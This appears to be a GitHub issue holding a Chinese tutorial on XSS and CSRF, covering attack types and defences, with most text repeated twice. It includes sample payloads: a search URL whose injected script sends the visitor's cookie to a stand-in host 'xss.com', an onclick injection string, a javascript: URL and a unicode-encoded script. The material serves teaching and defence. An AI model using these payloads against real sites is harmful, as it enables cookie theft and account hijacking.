Open ChuChencheng opened 4 years ago
跨站脚本攻击。恶意攻击者往页面里插入恶意脚本代码,当用户浏览该页面时,嵌入的恶意代码会被执行,从而达到攻击用户的目的。
该类型主要利用系统反馈行为漏洞,欺骗用户主动触发,从而发起攻击。
例如,在某网站 URL 上有 keyword 参数,表示搜索的关键字,例如:
keyword
http://www.example.com/search?keyword=xxx
表示 xxx 作为关键字搜索,打开后会将这串字符显示在页面某个位置上。
xxx
如果没有做防护,那么我们就可以在 keyword 后面插入一些恶意代码,如:
http://www.example.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
接下来引导用户去点击这个链接,用户打开后,就会执行 <script>document.location='http://xss.com/get?cookie='+document.cookie</script> ,把自己本地的 cookie 发送到 http://xss.com/ 上,攻击者获取到 cookie ,就可以模拟用户去做一些操作,达到攻击目的。
<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
http://xss.com/
与反射不同的是,基于存储的 XSS 里,具有攻击性的脚本被保存到了服务器中,普通用户从服务器获取恶意脚本并执行,以此获得在网络上传播的能力。
例如某个博客网站的博文或者评论区中,没有做防护,攻击者可以随意使用 script 标签,假设攻击者在评论中写入了恶意脚本:
好文,i了 <script> // 这里做一些攻击操作 alert('XSS') </script>
这段评论在发表后会被保存到服务器中,普通用户浏览到这个评论时,就会弹出弹窗。
这类 XSS 是一种特殊的反射类型,反射类型利用的是业务上的逻辑,而 DOM 则是利用了浏览器提供的 DOM 接口。
例如,有个让用户输入链接的场景:
<input id="input"> <button id="button">Submit</button> <div id="div"></div> <script> document.getElementById('button').addEventListener('click', () => { document.getElementById('div').innerHTML = `<a href=${document.getElementById('input').value}>Link</a>` }) </script>
当用户在 input 中输入了文本,并点击了 button ,则会把用户输入的内容作为一个 a 标签的 href ,并显示在 div 上。
如果用户输入的是:
'' onclick=alert(/XSS/)
这样,不仅 href 不会被赋值,还会加上 onclick 去执行恶意代码。
src
javascript:alert('xss')
$('div:first').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e');
<script> alert("xss")</script>
浏览器将禁止 JavaScript 访问带有 HttpOnly 的 Cookie
不相信用户的任何输入。对于用户的输入要进行检查、过滤和转义。建立可信字符与 HTML 标签白名单,对不在名单的字符或标签进行编码或过滤。
在一些框架中,会自带标签转义。
服务端的输出也可能存在问题,在变量输出到页面时,也可以用编码或转义的方式来防御 XSS
跨站请求伪造。是一种劫持受信任用户向服务器发送非预期请求的攻击方式。
通常情况下, CSRF 攻击是借助受害者 Cookie 骗取服务器信任,以受害者名义发送请求给服务器。
优点:简单,对请求统一拦截检查 Referer 值即可。
缺点:
验证码要求用户必须进行交互才能完成请求,能有效对抗 CSRF 攻击,但会影响体验。
在请求中放入黑客不能伪造的信息,并不存在于 Cookie 中,可以加入一个随机生成的 token 交给服务器验证。
优点: 比 Referer 检查安全,不涉及用户隐私 缺点: 对所有请求都添加 token 比较困难,难以保证 token 本身安全
XSS(Cross Site Scripting)
概念
跨站脚本攻击。恶意攻击者往页面里插入恶意脚本代码,当用户浏览该页面时,嵌入的恶意代码会被执行,从而达到攻击用户的目的。
分类
1. Reflected XSS(基于反射的 XSS)
该类型主要利用系统反馈行为漏洞,欺骗用户主动触发,从而发起攻击。
例如,在某网站 URL 上有
keyword
参数,表示搜索的关键字,例如:表示
xxx
作为关键字搜索,打开后会将这串字符显示在页面某个位置上。如果没有做防护,那么我们就可以在
keyword
后面插入一些恶意代码,如:接下来引导用户去点击这个链接,用户打开后,就会执行
<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
,把自己本地的 cookie 发送到http://xss.com/
上,攻击者获取到 cookie ,就可以模拟用户去做一些操作,达到攻击目的。2. Stored XSS(基于存储的 XSS)
与反射不同的是,基于存储的 XSS 里,具有攻击性的脚本被保存到了服务器中,普通用户从服务器获取恶意脚本并执行,以此获得在网络上传播的能力。
例如某个博客网站的博文或者评论区中,没有做防护,攻击者可以随意使用 script 标签,假设攻击者在评论中写入了恶意脚本:
这段评论在发表后会被保存到服务器中,普通用户浏览到这个评论时,就会弹出弹窗。
3. DOM-based or local XSS(基于 DOM 或本地 XSS)
这类 XSS 是一种特殊的反射类型,反射类型利用的是业务上的逻辑,而 DOM 则是利用了浏览器提供的 DOM 接口。
例如,有个让用户输入链接的场景:
当用户在 input 中输入了文本,并点击了 button ,则会把用户输入的内容作为一个 a 标签的 href ,并显示在 div 上。
如果用户输入的是:
这样,不仅 href 不会被赋值,还会加上 onclick 去执行恶意代码。
一些 XSS 方式
src
中写入javascript:alert('xss')
(IE6、7)$('div:first').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e');
,decode 后是<script> alert("xss")</script>
XSS 防范
浏览器将禁止 JavaScript 访问带有 HttpOnly 的 Cookie
不相信用户的任何输入。对于用户的输入要进行检查、过滤和转义。建立可信字符与 HTML 标签白名单,对不在名单的字符或标签进行编码或过滤。
在一些框架中,会自带标签转义。
服务端的输出也可能存在问题,在变量输出到页面时,也可以用编码或转义的方式来防御 XSS
CSRF(Cross Site Request Forgery)
概念
跨站请求伪造。是一种劫持受信任用户向服务器发送非预期请求的攻击方式。
通常情况下, CSRF 攻击是借助受害者 Cookie 骗取服务器信任,以受害者名义发送请求给服务器。
原理
防范
优点:简单,对请求统一拦截检查 Referer 值即可。
缺点:
验证码要求用户必须进行交互才能完成请求,能有效对抗 CSRF 攻击,但会影响体验。
在请求中放入黑客不能伪造的信息,并不存在于 Cookie 中,可以加入一个随机生成的 token 交给服务器验证。
优点: 比 Referer 检查安全,不涉及用户隐私 缺点: 对所有请求都添加 token 比较困难,难以保证 token 本身安全
参考